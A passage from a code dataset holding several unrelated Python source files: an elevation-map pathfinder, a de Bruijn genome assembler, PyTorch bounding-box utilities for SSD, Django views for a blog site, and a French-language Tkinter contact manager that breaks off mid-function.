self.max_elevation = self.elevations[0][0]\n\n for each in self.elevations:\n for integer in each:\n if integer < self.min_elevation:\n self.min_elevation = integer\n if integer > self.max_elevation:\n self.max_elevation = integer\n\n def get_colors_from_elevations(self):\n for rows in self.elevations:\n for number in rows:\n color_int = round(\n ((number - self.min_elevation) / (self.max_elevation-self.min_elevation)) * 255)\n self.little_rows_of_colors.append(color_int)\n self.colors_big_list.append(self.little_rows_of_colors)\n self.little_rows_of_colors = []\n\n def create_map_image(self):\n self.img = Image.fromarray(np.uint8(self.colors_big_list))\n\n\nclass Path:\n def __init__(self, elevations, map):\n self.position = 0\n self.elevations = elevations\n self.all_paths = []\n self.map_pixels = ''\n self.path = []\n self.map = map\n self.poop = ()\n # poop is a tuple of (x,y) coordinates\n self.starting_position_y = 0\n self.list_of_path_elevation_changes = []\n self.hiking_trail = []\n\n def determine_map_pixels(self):\n self.map.img = self.map.img.convert('RGB')\n self.map_pixels = self.map.img.load()\n\n def draw_path(self, point):\n self.map_pixels[self.poop] = (255, 255, 102)\n\n def find_path(self):\n total_elevation_change = 0\n x = 0\n y = self.starting_position_y\n while x < (len(self.elevations)-1):\n point = []\n NE = abs((self.elevations[y-1][x+1]) - self.position)\n E = abs((self.elevations[y][x+1]) - self.position)\n if y >= (len(self.elevations)-1):\n SE = abs((self.elevations[y][x+1]) - self.position)\n else:\n SE = abs((self.elevations[y+1][x+1]) - self.position)\n smallest_delta = min(NE, E, SE)\n if smallest_delta == NE:\n if y <= 0:\n y = y\n x += 1\n else:\n y -= 1\n x += 1\n self.poop = (x, y)\n point.append(self.poop)\n self.draw_path(point)\n self.position = self.elevations[x][y]\n total_elevation_change += smallest_delta\n elif smallest_delta == E:\n x += 1\n self.poop = (x, y)\n point.append(self.poop)\n self.draw_path(point)\n self.position = self.elevations[x][y]\n total_elevation_change += smallest_delta\n else:\n y += 1\n x += 1\n self.poop = (x, y)\n point.append(self.poop)\n self.draw_path(point)\n self.position = self.elevations[x][y]\n total_elevation_change += smallest_delta\n self.path.append(self.poop)\n self.list_of_path_elevation_changes.append(total_elevation_change)\n\n def get_all_paths(self):\n while self.starting_position_y < len(self.elevations):\n self.find_path()\n self.starting_position_y += 1\n self.all_paths.append(self.path)\n self.path = []\n\n def identify_path_of_least_change(self):\n self.hiking_trail = self.all_paths[self.list_of_path_elevation_changes.index(min(\n self.list_of_path_elevation_changes))]\n\n def draw_hiking_trail(self):\n for pixel in self.hiking_trail:\n self.map_pixels[pixel] = (0, 0, 255)\n\n\nif __name__ == \"__main__\":\n map = Map(\"elevation_large.txt\")\n map.read_file()\n map.find_elevations()\n map.find_min_and_max()\n map.get_colors_from_elevations()\n map.create_map_image()\n path = Path(map.elevations, map)\n path.determine_map_pixels()\n path.get_all_paths()\n path.identify_path_of_least_change()\n path.draw_hiking_trail()\n map.img.save(\"pathfinder.png\")\n","sub_path":"pathfinder.py","file_name":"pathfinder.py","file_ext":"py","file_size_in_byte":4829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"182716091","text":"from glob import glob\nfrom sys import argv\nimport time\n\ndef construct_graph(file_names, status_file, pattern=(1,1)):\n \"\"\"Constructs de Bruijn graph of reads, formatted as relational database.\n\n Parameters:\n file_names: list of string names of files with reads to process.\n db_file: string name of the database file to be written to\n status_file: string name of file to write status updates in\n pattern: 2-tuple of ints (n, k). For every set of n lines in the input files,\n all but the kth line will be ignored. Default (1,1) reads all lines.\n\n Returns: number of lines (or unique prefixes) in the database\"\"\"\n f = open(status_file, 'w')\n f.write(\"\")\n f.close()\n uniques = 0\n adjacency_graph = {}\n redundancies = 0\n for file_name in file_names:\n count = 0\n with open(file_name) as f:\n for line in f:\n count += 1\n if count%pattern[0] != pattern[1]:\n continue\n line = line.strip()\n prefix, suffix = line[:-1], line[1:]\n if prefix in adjacency_graph:\n if suffix not in adjacency_graph[prefix]:\n adjacency_graph[prefix] += \",\" + suffix + \"|1\"\n redundancies += 1\n else:\n suffixes = adjacency_graph[prefix].split(',')\n for i in range(0, len(suffixes)):\n if suffix in suffixes[i]:\n data = suffixes[i].split('|')\n string, number = data[0], int(data[1])\n suffixes[i] = string + \"|\" + str(number+1)\n break\n adjacency_graph[prefix] = ','.join(suffixes)\n else:\n uniques += 1\n adjacency_graph[prefix] = suffix+\"|1\"\n f = open(status_file, 'a')\n f.write(\"Finished reading \" + file_name + \"\\n\")\n f.close()\n f = open(status_file, 'a')\n f.write(\"Initial De Bruijn database populated\\n\")\n f.write(\"# of instances of same prefix mapped to distinct suffixes: \")\n f.write(str(redundancies)+\"\\n\")\n f.close()\n return uniques, adjacency_graph\n\ndef traverse_graph(adjacency_graph, entries, contig_file, min_length,\n status_file, report_frequency=1000000):\n f = open(contig_file, 'w')\n f.write(\"\")\n f.close()\n count = 0\n for prefix in adjacency_graph:\n count += 1\n if count%report_frequency == 0:\n f = open(status_file, 'a')\n f.write(str(100*count/entries)+\"% complete\\n\")\n f.close()\n if \",\" in adjacency_graph[prefix]:\n pass\n # f = open(status_file, 'a')\n # f.write(\"Ambiguous pairing ignored at entry \"+str(count)+\n # \", sequence \"+prefix+\"\\n\")\n # f.close()\n else:\n suffix = list(adjacency_graph[prefix].split('|'))[0]\n prefixes = set([suffix])\n prefixes.add(prefix)\n contig = prefix[0:2]\n prefix = suffix\n while True:\n suffix = \"\"\n if prefix not in adjacency_graph:\n break\n elif \",\" in adjacency_graph[prefix]:\n f = open(status_file, 'a')\n f.write(\"Counts for ambiguous pairing: \")\n best_suffix = \"\"\n best_count = -1\n suffixes = adjacency_graph[prefix].split(',')\n for suffix in suffixes:\n data = suffix.split('|')\n this_suffix, this_count = data[0], int(data[1])\n f.write(str(this_count)+\" \")\n if this_count > best_count:\n best_suffix = this_suffix\n best_count = this_count\n f.write('\\n')\n f.close()\n suffix = best_suffix\n else:\n suffix = list(adjacency_graph[prefix].split('|'))[0]\n prefix = suffix\n if prefix in prefixes:\n # f = open(status_file, 'a')\n # f.write(\"Infinite loop detected. Path ignored.\\n\")\n # f.close()\n break\n prefixes.add(prefix)\n contig += prefix[0]\n contig += prefix[1:]\n if len(contig) >= min_length:\n f = open(contig_file, 'a')\n f.write(contig + \"\\n\")\n f.close()\n\nif len(argv) >= 2:\n start_time = time.time()\n lines = []\n files = glob(argv[1]) if len(argv) == 2 else argv[1:]\n entries, adjacency_graph = construct_graph(files, \"status.txt\", (4,2))\n traverse_graph(adjacency_graph, entries, \"contigs.txt\", 152, \"status.txt\", 500000)\n print(time.time() - start_time)\n\n","sub_path":"genome_assembly_v07.py","file_name":"genome_assembly_v07.py","file_ext":"py","file_size_in_byte":5006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"52927130","text":"import torch\nimport torch.nn as nn\n\ndef xcycwh_to_xyminmax(a):\n # a is in shape [N,4] - (xc, yc, w, h)\n x_min = a[:, 0] - a[:, 2]/2\n y_min = a[:, 1] - a[:, 3]/2\n x_max = a[:, 0] + a[:, 2]/2\n y_max = a[:, 1] + a[:, 3]/2\n res = torch.stack([x_min, y_min, x_max, y_max], dim = 1)\n return res.clamp(min = 0.0, max = 1.0)\n\ndef xyminmax_to_xcycwh(a):\n # a is in shape [N,4] - (xmin, ymin, xmax, ymax)\n w = a[:, 2] - a[:, 0]\n h = a[:, 3] - a[:, 1]\n xc = (a[:, 0] + a[:, 2])/2\n yc = (a[:, 1] + a[:, 3])/2\n res = torch.stack([xc, yc, h, w], dim = 1)\n return res.clamp(min = 0.0, max = 1.0)\n\ndef iou(a, b):\n # a,b in format (x_min, y_min, x_max, y_max)\n x_int_max = torch.max(a[:, 0], b[:, 0])\n y_int_max = torch.max(a[:, 1], b[:, 1])\n x_int_min = torch.min(a[:, 2], b[:, 2])\n y_int_min = torch.min(a[:, 3], b[:, 3])\n int_area = (x_int_max - x_int_min) * (y_int_max - y_int_min)\n a_area = (a[:, 2] - a[:, 0]) * (a[:, 3] - a[:, 1])\n b_area = (b[:, 2] - b[:, 0]) * (b[:, 3] - b[:, 1])\n iou = (int_area) / (a_area + b_area - int_area)\n return iou\n\ndef match_boxes(gb, db, th = 0.4):\n '''\n Param:\n ------\n gb : ground truth boxes in format (xc, yc, w, h)\n shape - (n, 4) , n = no.of boxes in image\n db : default boxes in format (xc, yc, w, h)\n shape - (N, 4), N = no.of default boxes\n '''\n is_box_matched = torch.zeros(default_boxes.shape[0])\n box_matched_index = torch.zeros(default_boxes.shape[0])\n\n n = ground_boxes.shape[0]\n N = default_boxes.shape[0]\n # expand ground and default boxes feasible to apply vector operations\n #gb = gb.repeat(N, 1)\n #db = db.repeat_interleave(n, 0)\n \n #scores = iou(xcycwh_to_xyminmax(gb),\n # xcycwh_to_xyminmax(db))\n #print(scores)\n\n for i in range(n):\n xc, yc, w, h = gb[i][0], gb[i][1], gb[i][2], gb[i][3]\n x1_min = xc - w/2\n y1_min = yc - h/2\n x1_max = xc + w/2\n y1_max = yc + h/2\n\n x1_min.clamp_(0.0, 1.0)\n y1_min.clamp_(0.0, 1.0)\n x1_max.clamp_(0.0, 1.0)\n y1_max.clamp_(0.0, 1.0)\n\n x2_min = db[:, 0] - db[:, 2]/2\n y2_min = db[:, 1] - db[:, 3]/2\n x2_max = db[:, 0] + db[:, 2]/2\n y2_max = db[:, 1] + db[:, 3]/2\n\n x2_min.clamp_(0.0, 1.0)\n y2_min.clamp_(0.0, 1.0)\n x2_max.clamp_(0.0, 1.0)\n y2_max.clamp_(0.0, 1.0)\n\n x_max = torch.max(x1_min, x2_min)\n y_max = torch.max(y1_min, y2_min)\n x_min = torch.min(x1_max, x2_max)\n y_min = torch.min(y1_max, y2_max)\n\n int_area = (x_max - x_min) * (y_max - y_min)\n a_area = (x1_max - x1_min) * (y1_max - y1_min)\n b_area = (x2_max - x2_min) * (y2_max - y2_min)\n\n iou = (int_area) / (a_area + b_area - int_area)\n\n iou_ind_gt = (iou > 1.0).nonzero().squeeze()\n iou[iou_ind_gt] = 0\n iou_ind = (iou > th).nonzero().squeeze()\n is_box_matched[iou_ind] = 1\n box_matched_index[iou_ind] = i \n\n return is_box_matched, box_matched_index\n\ndef encode_offset(gb, db, bmi):\n '''\n param:\n ------\n gb = ground boxes - shape (n, 4) (xc, yc, w, h)\n db = default boxes - shape(N, 4) (xc, yc, w, h)\n bmi = box matched index - \n indicies of ground truth boxes maps to default boxes\n shape (N,)\n\n others:\n -------\n variance used is 0.1 for centers and 0.2 for height and width\n '''\n gb = gb[bmi.long()]\n xc = (gb[:, 0] - db[:, 0]) / (db[:, 2])\n yc = (gb[:, 1] - db[:, 1]) / (db[:, 3])\n w = torch.log(gb[:, 2] / db[:, 2])\n h = torch.log(gb[:, 3] / db[:, 3])\n return torch.stack([xc/0.1, yc/0.1, w/0.2, h/0.2], dim = 1)\n\ndef decode_offset(pb, db):\n '''\n param:\n ------\n pb = predicted boxes - shape (n, 4) (xc, yc, w, h)\n db = default boxes - shape(N, 4) (xc, yc, w, h)\n\n others:\n -------\n variance used is 0.1 for centers and 0.2 for height and width\n '''\n xc = (pb[:, 0] * 0.1 * db[:, 2]) + db[:, 0]\n yc = (pb[:, 1] * 0.1 * db[:, 3]) + db[:, 1]\n w = torch.exp(pb[:, 2] * 0.2 ) * db[:, 2]\n h = torch.exp(pb[:, 3] * 0.2 ) * db[:, 3]\n return torch.stack([xc, yc, w, h], dim = 1)\n\ndef net_loss(gb, db, pred_labels, pred_offset, neg_ratio = 3, neg_samples = 5):\n '''\n Param:\n ------\n gb : ground truth boxes in shape (n, xc, yc, w, h)\n db : default boxes in shape (N, xc, yc, w, h)\n pred_labels: confidence scores of box offsets (N)\n pred_offsets: local offsets in shape (N, xc, yc, w, h)\n neg_ratio : ratio of negative to positive samples for classification loss\n neg_samples: no.of samples to take for classification loss if matched boxes are 0\n '''\n \n is_box_matched, box_matched_index = match_boxes(gb, db)\n matched_boxes = (is_box_matched == 1).nonzero().squeeze()\n non_matched_boxes = (is_box_matched == 0).nonzero().squeeze()\n num_matches = 0\n if len(matched_boxes.size()) != 0:\n num_matches = matched_boxes.shape[0]\n true_offset = encode_offset(gb, db, box_matched_index)\n\n # regression loss\n regression_loss = 0.0\n if num_matches != 0:\n regression_loss_criterion = nn.SmoothL1Loss(reduction = 'none')\n regression_loss = regression_loss_criterion(true_offset[matched_boxes], pred_offset[matched_boxes])\n regression_loss = regression_loss.sum() / num_matches\n\n # classification loss\n classification_loss_criterion = nn.BCELoss(reduction = 'none')\n classification_loss = classification_loss_criterion(pred_labels, is_box_matched.to(device))\n negative_predictions = classification_loss[non_matched_boxes]\n _, negative_prediction_ids = torch.sort(negative_predictions, descending = True)\n if num_matches != 0:\n positive_predictions = classification_loss[matched_boxes]\n negative_predictions_ids = negative_prediction_ids[: num_matches * neg_ratio]\n classification_loss = (positive_predictions.sum() + negative_predictions[negative_prediction_ids].sum()) / (num_matches)\n\n # if no.of mathces = 0 take neg_samples in classification loss \n if num_matches == 0:\n negative_predictions = negative_prediction_ids[: neg_samples]\n classification_loss = negative_predictions.sum() / neg_samples\n\n return regression_loss, classification_loss, matched_boxes\n\ndef plot_img(img, gray = False):\n fig=plt.figure(figsize=(5,10))\n ax=fig.add_subplot(111)\n if gray == False:\n #img = img[:, :, :: -1]\n ax.imshow(img)\n else:\n ax.imshow(img, cmap = 'gray')\n \n plt.xticks([]),plt.yticks([])\n plt.show()\n\ndef non_max_supression(pred_boxes, confs, conf_threshold = 0.5, iou_threshold = 0.1):\n '''\n Param:\n ------\n pred_boxes : predicted bounding boxes in shape (N, 4) - (xc, yc, w, h)\n confs : probabilities of bounding boxes in shape (N)\n\n Return:\n -------\n boxes : bounding boxes final in shape (N, 4) - (xmin, ymin, xmax, ymax)\n '''\n\n confs_ids = (confs > conf_threshold).nonzero().squeeze()\n x_min = pred_boxes[:, 0] - pred_boxes[:, 2] / 2\n y_min = pred_boxes[:, 1] - pred_boxes[:, 3] / 2\n x_max = pred_boxes[:, 0] + pred_boxes[:, 2] / 2\n y_max = pred_boxes[:, 1] + pred_boxes[:, 3] / 2 \n\n x_min.clamp_(0.0, 1.0)\n y_min.clamp_(0.0, 1.0)\n x_max.clamp_(0.0, 1.0)\n y_max.clamp_(0.0, 1.0)\n \n #print(x_min, y_min, x_max, y_max)\n confs = confs[confs_ids]\n if confs.shape[0] == 0:\n return \n print(confs.shape)\n _, prob_inds = torch.sort(confs, descending = True)\n\n boxes = [[x_min[prob_inds[0]], y_min[prob_inds[0]],\n x_max[prob_inds[0]], y_max[prob_inds[0]]]]\n \n for ind in prob_inds[1:]:\n x11, y11, x12, y12 = x_min[ind], y_min[ind], x_max[ind], y_max[ind]\n a_area = (x12 - x11) * (y12 - y11)\n reject = False\n for i in range(len(boxes)):\n x21, y21, x22, y22 = boxes[i][0], boxes[i][1], boxes[i][2], boxes[i][3]\n \n x_int_min = torch.max(x11, x21)\n y_int_min = torch.max(y11, y21)\n x_int_max = torch.min(x12, x22)\n y_int_max = torch.min(y12, y22)\n int_area = (x_int_max - x_int_min) * (y_int_max - y_int_min)\n b_area = (x22 - x21) * (y22 - y21)\n iou_area = (int_area) / (a_area + b_area - int_area)\n\n #print(iou_area)\n if iou_area > iou_threshold:\n reject = True\n break\n \n if reject == False:\n boxes.append([x11, y11, x12, y12])\n\n return torch.Tensor(boxes).tolist()\n","sub_path":"MobileNet + DSSD/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"114712128","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.http import require_http_methods\nfrom dscblog.common import to_json, apiRespond\nfrom dscblog.models import User, Blog, Featured, Reaction\nfrom dscblog.forms import UserSettingsForm\nimport markdown\nimport html\nfrom pyembed.markdown import PyEmbedMarkdown\n\nfrom .followers import return_follower_username\n\nmd = markdown.Markdown(\n extensions=['extra', 'markdown.extensions.codehilite', PyEmbedMarkdown()])\n\n\ndef index(request):\n opts = {'header': {\n 'is_loggedin': False, 'is_empty': False}}\n if request.user.is_authenticated:\n opts['header']['is_loggedin'] = True\n opts['blogs'] = []\n blogs = Blog.top25()\n for b in blogs:\n opts['blogs'].append(b.get_obj_min())\n try:\n featured = Featured.pickOne().blog\n except Exception as e:\n print(e)\n opts['featured_blog'] = None\n else:\n opts['featured_blog'] = featured.get_obj_min()\n opts['featured_blog']['intro'] = featured.content[:300]\n res = render(request, 'index.html', opts)\n return res\n\n\ndef top25(request):\n opts = {'header': {\n 'is_loggedin': False, 'is_empty': False}}\n if request.user.is_authenticated:\n opts['header']['is_loggedin'] = True\n opts['blogs'] = []\n blogs = Blog.top25()\n for b in blogs:\n opts['blogs'].append(b.get_obj_min())\n res = render(request, 'top25.html', opts)\n return res\n\n\n@login_required\ndef my_profile(request):\n return redirect(to='/@'+request.user.username)\n\n@login_required\ndef followers(request):\n data = {'header':{'is_loggedin':True}}\n chaselist = request.user.get_followers() \n data['chaselist'] = return_follower_username(chaselist)\n return render(request, 'blocks/usersList.html', data)\n\n\n@login_required\ndef user_settings(request):\n if request.method == 'POST':\n form = UserSettingsForm(request.POST, instance=request.user)\n if form.is_valid():\n form.save()\n return redirect('/profile')\n else:\n form = UserSettingsForm(instance=request.user)\n opts = {'header': {\n 'is_loggedin': True, 'is_empty': False},\n 'form': form}\n return render(request, 'userSettings.html', opts)\n\n\ndef profile(request, username):\n opts = {'header': {\n 'is_loggedin': False, 'is_empty': False},\n 'is_owner': request.user.is_authenticated and request.user.username == username}\n if request.user.is_authenticated:\n opts['header']['is_loggedin'] = True\n try:\n user = User.get_by_username(username)\n except:\n return page404(request)\n else:\n opts['user'] = user.get_profile(\n request.user if request.user.is_authenticated else None)\n res = render(request, 'profile.html', opts)\n return res\n\n\ndef blog(request, slug, id):\n try:\n b = Blog.get_by_id(id)\n except:\n return page404(request)\n else:\n if b.get_slug() == slug:\n if b.is_published or (request.user.is_authenticated and request.user == b.author):\n opts = {'header': {\n 'is_loggedin': False, 'is_empty': True},\n 'blog': b.get_obj(user=request.user if request.user.is_authenticated else None),\n 'html': md.reset().convert(b.content),\n 'is_owner': request.user.is_authenticated and request.user == b.author}\n if request.user.is_authenticated:\n opts['header']['is_loggedin'] = True\n res = render(request, 'blog.html', opts)\n return res\n else:\n return page404(request)\n else:\n return redirect(to=b.get_url())\n\n\n@login_required\ndef create(request):\n if request.method == 'GET':\n res = render(request, 'create.html')\n else:\n if 'title' in request.POST:\n title = request.POST['title'].strip()\n if len(title) > 2:\n b = Blog.create(request.user, title)\n res = redirect(to='/blog/'+str(b.id)+'/settings')\n else:\n res = render(request, 'create.html', {\n 'error': 'Title too small (min 3 characters)'})\n else:\n res = render(request, 'create.html', {\n 'error': 'Title field missing'})\n return res\n\n\n@login_required\ndef blog_settings(request, id):\n try:\n b = Blog.get_by_id(id)\n except:\n return page404(request)\n else:\n if request.user == b.author:\n opts = {'header': {'is_loggedin': True, 'is_empty': False},\n 'blog': b.get_obj_min()}\n return render(request, 'blogSettings.html', opts)\n else:\n return page404(request)\n\n\n@login_required\ndef blog_edit(request, id):\n try:\n b = Blog.get_by_id(id)\n except:\n return page404(request)\n else:\n if request.user == b.author:\n opts = {'header': {'is_loggedin': True, 'is_empty': False},\n 'blog': b.get_obj(escape_html=False)}\n return render(request, 'blogEditor.html', opts)\n else:\n return page404(request)\n\n\n@require_http_methods([\"POST\"])\ndef follow_user(request):\n if request.user.is_authenticated:\n if 'user_id' in request.POST:\n try:\n target = User.get_by_id(request.POST['user_id'])\n except:\n return apiRespond(400, msg='Target user not found')\n else:\n result = request.user.follow(target)\n return apiRespond(201, result=result)\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef unfollow_user(request):\n if request.user.is_authenticated:\n if 'user_id' in request.POST:\n try:\n target = User.get_by_id(request.POST['user_id'])\n except:\n return apiRespond(400, msg='Target user not found')\n else:\n result = request.user.unfollow(target)\n return apiRespond(201, result=result)\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef blog_react(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST and 'reaction' in request.POST and request.POST['reaction'] in Reaction.CODES:\n reaction = request.POST['reaction']\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Target blog not found')\n else:\n obj = request.user.react(blog=b, reaction=reaction)\n return apiRespond(201, result=True)\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef blog_unreact(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Target blog not found')\n else:\n res = request.user.unreact(blog=b)\n return apiRespond(201, result=res)\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef set_blog_title(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST and 'title' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n title = request.POST['title'].strip()\n if len(title) > 2:\n b.update_title(title)\n return apiRespond(201, title=title)\n else:\n return apiRespond(400, msg='Title too short')\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef set_blog_img(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST and 'img_url' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n img_url = request.POST['img_url'].strip()\n if len(img_url) > 2:\n b.update_img(img_url)\n return apiRespond(201, img_url=img_url)\n else:\n return apiRespond(400, msg='img_url too short')\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef publish_blog(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n b.publish()\n return apiRespond(201, is_published=b.is_published)\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef unpublish_blog(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n b.unpublish()\n return apiRespond(201, is_published=b.is_published)\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef delete_blog(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n b.remove()\n return apiRespond(201, removed=True)\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\n@require_http_methods([\"POST\"])\ndef set_blog_content(request):\n if request.user.is_authenticated:\n if 'blog_id' in request.POST and 'content' in request.POST:\n try:\n b = Blog.get_by_id(request.POST['blog_id'])\n except:\n return apiRespond(400, msg='Blog not found')\n else:\n if b.author == request.user:\n content = html.escape(request.POST['content']).replace('>', '>')\n b.update_content(content)\n return apiRespond(201)\n else:\n return apiRespond(400, msg='Access denied')\n else:\n return apiRespond(400, msg='Required fields missing')\n else:\n return apiRespond(401, msg='User not logged in')\n\n\ndef page404(request, exception=None):\n response = render(request, '404.html')\n response.status_code = 404\n return response\n","sub_path":"dscblog/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":12599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"531215375","text":"from tkinter import *\nfrom functools import partial\nimport pickle\n\ndef searchInfo(name):\n\tx = name.split(' ')\n\tname = x[0]\n\tsurname = x[1]\n\tfor tup in enumerate(donnees):\n\t\tif tup[1][0]==surname and tup[1][1]==name:\n\t\t\ttexte='Prénom : '+name+' , Nom : '+surname+' , Numéro : '+tup[1][2]\n\t\t\trawData = name+' '+surname+' '+tup[1][2]\n\t\t\tif tup[1][3]!='':\n\t\t\t\ttexte = texte+' , Informations : '+tup[1][3]\n\treturn texte, rawData\n\ndef deleteContact(dataAboutUser, topSure, top, listBox):\n\tx = dataAboutUser.split(' ')\n\tfor index in range(len(donnees)):\n\t\tif donnees[index][0] == x[1] and donnees[index][1] == x[0] and donnees[index][2] == x[2]:\n\t\t\tdel donnees[index]\n\t\t\tlistBox.delete(index)\n\t\t\tpickle.dump(donnees, open('data/contact', 'wb'))\n\t\t\tbreak\n\ttopSure.destroy()\n\ttop.destroy()\n\ndef deleteWindow(window):\n\twindow.destroy()\n\n\ndef youSure(top, data, listBox):\n\ttopSure = Toplevel(top)\n\ttopSure.title('Attention')\n\ttopSure.geometry('180x75+0+0')\n\tlabel = Label(topSure, text='Etes vous certain ?')\n\tbuttonNo = Button(topSure, text='Non', command=partial(deleteWindow, topSure))\n\tbuttonYes = Button(topSure, text='Oui', command=partial(deleteContact, data, topSure, top, listBox))\n\t\n\tlabel.place(relx=0.5, rely=0.2, anchor=CENTER)\n\tbuttonNo.place(relx=0.2, rely=0.7, anchor=CENTER)\n\tbuttonYes.place(relx=0.7, rely=0.7, anchor=CENTER)\n\ndef show_selection(root, choices, listbox):\n choices = choices.get()\n text = \"\"\n if len(listbox.curselection())==0:\n \treturn\n for index in listbox.curselection():\n \ttext, rawData = searchInfo(choices[index])\n top = Toplevel(root)\n top.title('Contact')\n dimensions=\"\"+str(int(width_screen/2))+\"x\"+str(int(height_screen/2))+\"+0+0\"\n top.geometry(dimensions)\n label = Label(top, text=text)\n buttonQuit = Button(top, text='Quitter', command=partial(deleteWindow, top))\n buttonDelete = Button(top, text='Supprimer', command=partial(youSure, top, rawData, listbox))\n \n label.place(relx=0.5, rely=0.35, anchor=CENTER)\n buttonQuit.place(relx=0.35, rely=0.65, anchor=CENTER)\n buttonDelete.place(relx=0.65, rely=0.65, anchor=CENTER)\n\ndef getTupleContact():\n\tliste = []\n\tfor tup in enumerate(donnees):\n\t\tliste.append(''+tup[1][1]+' '+tup[1][0]+' '+tup[1][2])\n\treturn tuple(liste)\n\ndef _addContact(listbox, textSurname, textName, textPhone, textInfo, top):\n\tif textSurname.get() != '' and textName.get() != '' and textPhone.get() != '':\n\t\tdonnees.append([textSurname.get(), textName.get(), textPhone.get(), textInfo.get()])\n\t\tpickle.dump(donnees, open('data/contact', 'wb'))\n\t\tlistbox.insert('end', [textName.get(), textSurname.get(), textPhone.get()])\n\t\ttexte = \"Contact ajouté\"\n\telse:\n\t\ttexte = \"Echec : Information manquante\"\n\ttopAdd = Toplevel(top)\n\ttopAdd.title('Ajout')\n\tlabelTopAdd = Label(topAdd, text=texte)\n\tbuttonOk = Button(topAdd, text='Ok', command=partial(deleteWindow, topAdd))\n\tlabelTopAdd.grid(row=0, column=0)\n\tbuttonOk.grid(row=1, column=0)\n\ndef addContact(root, listbox):\n\ttop = Toplevel(root)\n\ttop.title('Ajouter Contact')\n\tlabel = Label(top, text='Ajout d\\'un contact')\n\t\n\t\n\ttextSurname = StringVar()\n\tlabelSurname = Label(top, text='Nom')\n\tentrySurname = Entry(top, textvariable=textSurname)\n\ttextName = StringVar()\n\tlabelName = Label(top, text='Prenom')\n\tentryName = Entry(top, textvariable=textName)\n\ttextPhone = StringVar()\n\tlabelPhone = Label(top, text='Numero de telephone')\n\tentryPhone = Entry(top, textvariable=textPhone)\n\ttextInfo = StringVar()\n\tlabelInfo = Label(top, text='Informations (facultatif)')\n\tentryInfo = Entry(top, textvariable=textInfo)\n\n\tbuttonQuit = Button(top, text='Quitter', command=partial(deleteWindow, top))\n\tbuttonAdd = Button(top, text='Ajouter', command=partial(_addContact, listbox, textSurname, textName, textPhone, textInfo, top))\n\n\tlabel.grid(row=0, column=0)\n\tlabelSurname.grid(row=1, column=0)\n\tentrySurname.grid(row=1, column=1)\n\tlabelName.grid(row=2, column=0)\n\tentryName.grid(row=2, column=1)\n\tlabelPhone.grid(row=3, column=0)\n\tentryPhone.grid(row=3, column=1)\n\tlabelInfo.grid(row=4, column=0)\n\tentryInfo.grid(row=4, column=1)\n\tbuttonQuit.grid(row=5, column=0)\n\tbuttonAdd.grid(row=5, column=1)\n\ndef searchContact(root, textSearch, listbox):\n\tbon=0\n\tif len(textSearch.get())==0:\n\t\treturn\n\tphone = textSearch.get()\n\tfor tup in enumerate(donnees):\n\t\tif tup[1][2] == phone:\n\t\t\tbon = 1\n\t\t\ttexte='Prénom : '+tup[1][1]+' , Nom : '+tup[1][0]+' , Numéro : '+tup[1][2]\n\t\t\trawData = tup[1][1]+' '+tup[1][0]+' '+tup[1][2]\n\t\t\tif tup[1][3]!='':\n\t\t\t\ttexte = texte+' , Informations : '+tup[1][3]\n\n\tif (bon==0):#Si ne contient pas\n\t\treturn\n\t#Si contient\n\ttop 